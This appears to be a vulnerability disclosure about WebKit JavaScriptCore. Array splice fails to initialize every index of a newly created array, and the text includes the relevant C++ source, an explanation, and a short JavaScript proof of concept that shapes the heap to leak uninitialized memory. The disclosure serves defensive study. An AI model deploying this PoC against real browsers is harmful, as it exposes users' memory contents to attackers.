WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...
            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (!result)
                return JSValue::encode(throwOutOfMemoryError(exec, scope));

            for (unsigned k = 0; k < actualDeleteCount; ++k) {
                JSValue v = getProperty(exec, thisObj, k + actualStart);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
                if (UNLIKELY(!v)) {
                    continue;
                }
                result->initializeIndex(vm, k, v);
            }
    ...
}

|JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.

PoC:
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function gc() {
    for (let i = 0; i < 0x10; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(0x1000, () => 1);

gc();

for (let i = 0; i < 0x100; i++) {
    new Array(0x100).fill(1234.5678);
}

gc();

print(new Array(0x100).splice(0));